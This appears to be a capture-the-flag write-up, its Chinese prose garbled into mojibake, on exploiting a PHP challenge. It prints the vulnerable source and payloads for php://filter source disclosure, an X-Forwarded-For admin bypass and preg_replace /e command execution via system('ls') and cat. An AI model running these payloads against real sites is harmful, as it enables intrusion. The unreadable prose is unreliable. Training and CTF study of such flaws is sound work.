²½Öè
´ò¿ªÌâÄ¿³¡¾°,¸ù¾ÝÌáʾµã»÷½øÈëÉ豸ά»¤ÖÐÐÄ(ÆäËûÒ³ÃæÒ²µã²»¿ª)
·¢ÏÖÒ³ÃæҲûʲô¿ÉÒÔµã»÷µÄµØ·½,ÂÒµãÁ˼¸Ï·¢ÏÖÔÆƽ̨É豸ά»¤ÖÐÐÄÊÇ¿ÉÒÔµã»÷µÄ,ËäÈ»»¹ÊÇͬһ¸öÒ³Ãæ,µ«ÊǶàÁ˸öget²ÎÊý: ¶øÇÒ²ÎÊýµÄÄÚÈÝ»¹»áÔÚÒ³ÃæÖ®ÖÐÏÔʾ,³¢ÊÔ¿´ÓÐûÓÐxss,ʧ°Ü: ¿´À´²»ÊÇÕâ·½ÃæµÄ¿¼Ìâ,³¢ÊÔÊäÈëindex.php ,·¢ÏÖ·µ»ØOk: ÕâÀﻹûÓп´³öÀ´ÊÇɶ,È»ºóÓÖ³¢ÊÔÊäÈëindex.html ,Õâ²Å»ÐÈ»´óÎòÕâ¿éÓÐÎļþ°üº¬: ¼ÈÈ»ÊÇÎļþ°üº¬ÎÒÃǾͳ¢ÊÔÀ´ÀûÓÃËü,³¢ÊÔʹÓÃαÐÒéphp:// ,Ëü°üº¬Á½¸ö×ÓÐÒé,¹¦Äܲ»Í¬¡£
Ê×ÏÈʹÓÃphp://input ¿ÉÒÔ½øÐÐphp´úÂëµÄÌá½»,·¢ÏÖ²»¿ÉÐÐ: ÎÒÃÇ»»Ò»ÖÖ·½Ê½¼ÌÐø³¢ÊÔ,ʹÓÃphp://filter ,ËüÉè¼ÆÓÃÀ´É¸Ñ¡Îļþ,ÎÒÃÇ¿ÉÒÔʹÓÃËüÀ´°üº¬index.php µÄÎļþ,´Ó¶ø»ñÈ¡Ô´Âë¡£ Ö±½Ó°üº¬·¢ÏÖ»áÖ±½ÓÔËÐÐphpÎļþ,ÄÇÎÒÃÇÔõô»ñµÃÔ´ÂëÄØ,ºÜ¼òµ¥,include º¯ÊýÖ»»á½«phpÎļþ½øÐÐÖ´ÐÐ,ÎÒÃÇÖ»ÐèÒª½«´«½øÈ¥µÄÎļþÏȽøÐÐbase64±àÂëÔÙ´«¸øËü,¾Í»áÊä³öËüµÄÄÚÈÝÁË,Ò²¾ÍÊÇÔ´Âë: payload:page=php://filter/read=convert.base64-encode/resource=index.php µÃµ½Ô´ÂëÖ®ºó½øÐÐbase64½âÂë,¿ÉÒԵõ½Ã÷ÎÄ:
<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />
<?php
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0) {
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />
<?php
}}
£¤¨¨?¡°??o??????¨¨??,?-¡ê??¡§??€??¡®??-??????¨¨???????a¨¨????
¨¦?¡§?oo?¡®??¦Ì?¨¨¡¥?
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
ctype_alnum($text) º¯Êý»áÆ¥Åä´«Èë²ÎÊýÖÐÊÇ·ñȫΪÊý×Ö»òÕß×Öĸ,Èç¹ûÊÇ·µ»Øtrue,·ñÔò·µ»Øfalse¡£
strpos(string,find,start) º¯Êý²éÕÒfindÔÚÁíÒ»×Ö·û´®stringÖеÚÒ»´Î³öÏÖµÄλÖÃ(´óСдÃô¸Ð)¡£
string ±ØÐè¡£¹æ¶¨ÒªËÑË÷µÄ×Ö·û´®¡£ find ±ØÐè¡£¹æ¶¨Òª²éÕÒµÄ×Ö·û´®¡£ start ¿ÉÑ¡¡£¹æ¶¨Ôںδ¦¿ªÊ¼ËÑË÷¡£
preg_replace($pattern, $replacement, $subject) º¯Êý»á½«subjectÖÐÆ¥ÅäpatternµÄ²¿·ÖÓÃreplacementÌæ»»,Èç¹ûÆôÓÃ/e²ÎÊýµÄ»°,¾Í»á½«replacementµ±×öphp´úÂëÖ´ÐС£
$pattern: ÒªËÑË÷µÄģʽ,¿ÉÒÔÊÇ×Ö·û´®»òÒ»¸ö×Ö·û´®Êý×é¡¢ÕýÔò¡£ $replacement: ÓÃÓÚÌæ»»µÄ×Ö·û´®»ò×Ö·û´®Êý×é¡£ $subject: ÒªËÑË÷Ìæ»»µÄÄ¿±ê×Ö·û´®»ò×Ö·û´®Êý×é¡£
/e ÐÞÕý·ûʹ preg_replace() ½« replacement ²ÎÊýµ±×÷ PHP ´úÂë(ÔÚÊʵ±µÄÄæÏò ÒýÓÃÌæ»»ÍêÖ®ºó)¡£ Ìáʾ:Ҫȷ±£ replacement ¹¹³ÉÒ»¸öºÏ·¨µÄ PHP ´úÂë×Ö·û´®,·ñÔò PHP »áÔÚ±¨¸æÔÚ°üº¬ preg_replace() µÄÐÐÖгöÏÖÓï·¨½âÎö´íÎó¡£
´úÂëÉó¼ÆÍê±ÏÖ®ºó,¾Í¿ÉÒÔ½øÐÐÀûÓÃÁË Ê×Ïȹ¹ÔìhttpÇëÇó°ü:²»Òªpage²ÎÊý,Ìí¼ÓX-forwarded-For×ֶΠ½ÓÏÂÀ´ÀûÓõÄÊÇpreg_replaceº¯Êý/e©¶´:²é¿´ËùÓÐÎļþ payload:/index.php?pat=/abc/e&rep=system("ls")&sub=asdsadasabc ·¢ÏÖ¿ÉÒÔ½øÐÐÃüÁîÖ´ÐÐ,²¢ÇÒ·¢ÏÖ¿ÉÒÉĿ¼,½øÈëĿ¼²¢²é¿´Îļþ payload:/index.php?pat=/abc/e&rep=system("cd%20s3chahahaDir%26%26%20ls")&sub=asdsadasabc %26Ϊ&,ÕâÀï½øÐÐÁËurl±àÂë,²»½øÐбàÂë»áʧ°Ü ½øÈëflagĿ¼²é¿´Îļþ payload:/index.php?pat=/abc/e&rep=system("cd%20s3chahahaDir/flag%26%26%20ls")&sub=asdsadasabc ·¢ÏÖflag.phpÎļþ,ʹÓÃcat½øÐв鿴: payload:/index.php?pat=/abc/e&rep=system("cat%20s3chahahaDir/flag/flag.php")&sub=asdsadasabc ³É¹¦·¢ÏÖflag
×ܽá
phpÎļþ°üº¬ÖÐαÐÒéµÄʹÓà preg_replace()º¯Êý/e©¶´µÄÀûÓÃ
|